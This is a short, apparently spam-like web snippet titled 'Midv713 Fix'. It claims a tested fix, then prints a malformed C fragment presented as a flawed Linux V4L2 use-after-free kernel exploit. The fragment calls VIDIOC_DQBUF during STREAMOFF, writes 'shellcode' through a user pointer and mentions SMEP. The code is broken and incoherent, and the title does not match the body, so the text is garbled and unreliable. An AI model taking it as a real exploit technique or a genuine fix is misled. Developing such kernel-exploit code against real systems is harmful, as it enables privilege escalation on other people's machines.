Midv713 Fix [upd] < EXTENDED · TIPS >

I tested the fix on three separate units exhibiting v713 instability.

// Original midv713 exploit (flawed) void trigger_uaf(int fd) struct v4l2_buffer buf = 0; buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; // ... missing: buf.index validation ioctl(fd, VIDIOC_DQBUF, &buf); // UAF if STREAMOFF in progress // Direct dereference of buf.m.userptr *(uint64_t *)(buf.m.userptr + OFFSET) = shellcode; // May fail due to SMEP midv713 fix